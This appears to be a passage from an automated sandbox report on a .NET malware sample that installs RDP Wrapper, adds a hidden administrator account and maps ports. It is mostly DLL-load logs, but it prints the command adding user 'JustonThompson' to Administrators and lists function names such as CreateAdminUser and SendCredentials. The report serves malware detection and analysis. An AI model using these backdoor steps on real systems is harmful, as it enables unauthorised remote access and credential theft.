Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: termsrv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File written: C:\Program Files\RDP Wrapper\rdpwrap.ini

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: 67065b4c84713_Javiles.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 67065b4c84713_Javiles.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 67065b4c84713_Javiles.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: 67065b4c84713_Javiles.exe
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: <>c__DisplayClass0_0<>9__5_0<GetTotalDiskSpace>b__5_0<GenerateRandomPassword>b__0<>u__1Nullable`1IEnumerable`1Task`1TaskAwaiter`1ToInt32<faker>5__2<>u__2Func`2Dictionary`2ToInt64<Main>d__4<>9<Module><Main>GetTotalRAMSystem.IOGetPublicIP_Costuracostura.metadatamscorlibset_Verb<>cSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.bogus.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedReadToEndExecuteCommandcommandFindGenerateRandomPasswordpasswordReplaceGetTotalDiskSpaceNatDeviceCancellationTokenSourcesourceCompressionModeRangeExchangenullCacheInvokeIEnumerableIDisposableget_AsyncWaitHandleDownloadFileIsInRoleWindowsBuiltInRoleget_MainModuleProcessModuleGetOSNameGetGPUNameget_Nameget_FileNameset_FileNameget_MachineNamefullNameGetAdminGroupNameuserNameGetProcessorNameGetNameLastNameFirstNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValuedriveadd_AssemblyResolveRDPCreator.exeSystem.ThreadingSystem.Runtime.VersioningMappingDownloadStringCultureToStringAttachzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockget_TaskSystem.Security.PrincipalWindowsPrincipalProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamProgramget_Itemset_ItemSystemTrimRandomrandomSumTimeSpanIsPortOpenget_ChildrenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionManagementObjectCollectionset_PositionSetExceptionStringComparisonpatternCopyToget_CultureInfoSystemInfoProcessStartInfoAddUserToAdminGroupAddUserToRemoteDesktopGroupSystem.LinqStreamReaderTextReaderAssemblyLoaderAsyncTaskMethodBuilder<>t__builderGendersenderManagementObjectSearcherFakerResolveEventHandlerRDPInstallerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreatorIsRunAsAdministrator.ctor.cctorMonitorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesSystem.DirectoryServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesDirectoryEntriesresourceNamessymbolNamesassemblyNamesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsSystem.Collectionsget_CharsGetCurrentProcessBogus.DataSetsSystem.Net.SocketsExistsBogusOpen.NatConcatManagementBaseObjectManagementObjectSelectBeginConnectGetSystem.NetWaitForExitFirstOrDefaultIAsyncResultGetResultSetResultToLowerInvariantWebClien
Source:	Binary string: costura.costura.pdb.compressed source: 67065b4c84713_Javiles.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdb source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, rfxvmt.dll.9.dr, RDPWInst.exe.0.dr
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdb source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdbGCTL source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, rfxvmt.dll.9.dr, RDPWInst.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: 67065b4c84713_Javiles.exe
Source:	Binary string: C:\DEV\C#\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: 67065b4c84713_Javiles.exe
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdbSHA256v0& source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 67065b4c84713_Javiles.exe, AssemblyLoader.cs

.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: 67065b4c84713_Javiles.exe, type: SAMPLE
Source: Yara match	File source: 0.0.67065b4c84713_Javiles.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1703967641.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 67065b4c84713_Javiles.exe PID: 7480, type: MEMORYSTR

Source: 67065b4c84713_Javiles.exe

Static PE information: 0xEF5ACDDE [Tue Apr 2 01:46:06 2097 UTC]

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_004430DC push 00443161h; ret	9_2_00443159
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00439674 push ecx; mov dword ptr [esp], ecx	9_2_00439675
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00420164 push 004201DAh; ret	9_2_004201D2
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040A178 push 0040A1E7h; ret	9_2_0040A1DF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00437134 push 00437201h; ret	9_2_004371F9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00443188 push 00443230h; ret	9_2_00443228
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0043421C push ecx; mov dword ptr [esp], edx	9_2_0043421E
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0044323C push 004432C7h; ret	9_2_004432BF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00437298 push 0043732Eh; ret	9_2_00437326
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00437360 push 004373ADh; ret	9_2_004373A5
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0043A3F8 push 0043A450h; ret	9_2_0043A448
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_004176D4 push 00417879h; ret	9_2_00417871
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00421998 push 004219E5h; ret	9_2_004219DD
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0042AA70 push ecx; mov dword ptr [esp], edx	9_2_0042AA75
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040CA10 push eax; retf 0040h	9_2_0040CA11
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0042AAB4 push ecx; mov dword ptr [esp], edx	9_2_0042AAB9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00415C58 push ecx; mov dword ptr [esp], edx	9_2_00415C5D
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040EC80 push ecx; mov dword ptr [esp], ecx	9_2_0040EC85
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00404E0C push eax; ret	9_2_00404E48
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0043FE8C push 0043FEE0h; ret	9_2_0043FED8

Source: 67065b4c84713_Javiles.exe

Static PE information: section name: .text entropy: 7.996881182641007

Persistence and Installation Behavior

Adds a new user with administrator rights

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" JustonThompson /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" JustonThompson /add			Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

